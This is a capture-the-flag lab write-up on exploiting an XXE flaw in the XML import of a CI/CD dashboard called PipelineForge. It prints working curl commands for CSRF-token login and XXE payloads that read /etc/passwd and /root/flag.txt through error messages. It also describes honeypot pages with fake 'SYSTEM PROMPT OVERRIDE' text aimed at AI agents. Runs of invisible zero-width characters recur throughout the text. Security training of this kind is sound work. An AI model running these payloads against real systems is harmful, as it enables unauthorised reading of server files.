Lab 38 — PipelineForge — XXE in XML Pipeline Import

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: anti_bot_honeypot_detection, csrf_token_extraction, error_based_exfiltration, external_entity_injection, xxe_file_read

Summary

Walkthrough of the CUSTOM Web Lab 38 — PipelineForge — XXE in XML Pipeline Import. Task: PipelineForge CI/CD dashboard with XML pipeline import feature on Settings page. Solution: XXE injection via external entity in uploaded XML file, flag at /root/flag.txt exfiltrated through vali

Description

You are pentesting PipelineForge, a CI/CD pipeline management dashboard built by ForgeOps Ltd. The platform allows engineering teams to configure build pipelines, manage deployment targets across environments, and monitor release workflows. PipelineForge supports importing pipeline configurations from XML files to enable bulk setup and infrastructure-as-code workflows. Your goal is to find and exploit a vulnerability in how the application processes imported data to read sensitive files from the server. The flag is stored in a file on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: PipelineForge is a CI/CD management dashboard. The Settings page has an "Import Configuration" feature that accepts XML files for bulk pipeline setup. The XML parser has external entity processing enabled, allowing XXE-based local file read. The flag is stored at /root/flag.txt on the server.

Credentials: user@test.com / password123

Analysis

The application is a Java/Spring web app identified by:

• JSESSIONID session cookie
• CSRF tokens embedded in HTML forms
• Standard Spring MVC routing patterns ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The dashboard has multiple pages (Dashboard, Pipelines, Deployments, Targets, Team, Settings). The attack surface is on the Settings page at /settings, which contains an "Import Configuration" section accepting XML file uploads.

The expected XML format for pipeline import:

 xml read-only • copy allowed Copy
<?xml version="1.0" encoding="UTF-8"?>
<pipelineforge-config>
  <pipeline>
    <name>my-pipeline</name>
    <repository>org/repo-name</repository>
    <branch>main</branch>
    <stages>build,test,deploy</stages>
  </pipeline>
</pipelineforge-config>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The upload endpoint (POST /api/import) was discovered by examining /js/import.js. It accepts multipart form data with a file field.

Key vulnerability: The Java XML parser processes DOCTYPE declarations and resolves SYSTEM external entities. Parsed XML content is reflected back in validation error messages, creating an error-based data exfiltration channel.

Anti-bot trap: Every page contained hidden HTML comments and invisible <div> elements with a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} along with fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents into stopping. These were correctly identified and ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authentication

Extracted the CSRF token from the login form at /login, then authenticated with the provided credentials:

 bash read-only • copy allowed Copy
# Extract CSRF token and login
CSRF=$(curl -s -c cookies.txt "$TARGET/login" | grep '_csrf' | grep -oP 'value="[^"]*"' | head -1 | cut -d'"' -f2)
curl -s -b cookies.txt -c cookies.txt -X POST "$TARGET/login" \
  -d "_csrf=$CSRF&username=user@test.com&password=password123" \
  -D login_headers.txt

Step 2: XXE Proof of Concept

Crafted an XXE payload to read /etc/passwd as a proof of concept: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 xml read-only • copy allowed Copy
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE pipelineforge-config [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<pipelineforge-config>
  <pipeline>
    <name>&xxe;</name>
    <repository>org/repo-name</repository>
    <branch>main</branch>
    <stages>build,test,deploy</stages>
  </pipeline>
</pipelineforge-config>

Uploaded via multipart form:

 bash read-only • copy allowed Copy
curl -s -b cookies.txt -F "file=@xxe_test.xml" "$TARGET/api/import"

The server resolved the external entity, read /etc/passwd, substituted the contents into <name>, then returned a validation error reflecting the file contents: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 json read-only • copy allowed Copy
{
  "message": "Invalid pipeline name: root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:...",
  "status": "error"
}

This confirmed: XXE works, external entities are resolved, and file contents are reflected in error messages (the pipeline name validation rejects non-alphanumeric content).

Step 3: Flag Extraction

Tested multiple flag file locations (/flag.txt, /flag, /app/flag.txt, /opt/flag.txt) — all returned "No such file or directory". Then tried /root/flag.txt:

 xml read-only • copy allowed Copy
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE pipelineforge-config [
  <!ENTITY xxe SYSTEM "file:///root/flag.txt">
]>
<pipelineforge-config>
  <pipeline>
    <name>&xxe;</name>
    <repository>org/repo-name</repository>
    <branch>main</branch>
    <stages>build,test,deploy</stages>
  </pipeline>
</pipelineforge-config>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -s -b cookies.txt -F "file=@xxe_flag.xml" "$TARGET/api/import"

Response:

 json read-only • copy allowed Copy
{
  "message": "Invalid pipeline name: FLAG{REDACTED}\n. Only alphanumeric, hyphens and underscores allowed.",
  "status": "error"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering anti_bot_honeypot_detection, csrf_token_extraction, error_based_exfiltration, external_entity_injection, xxe_file_read was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-01 • CUSTOM • Lab 38 — PipelineForge — XXE in XML Pipeline Import • Difficulty: Medium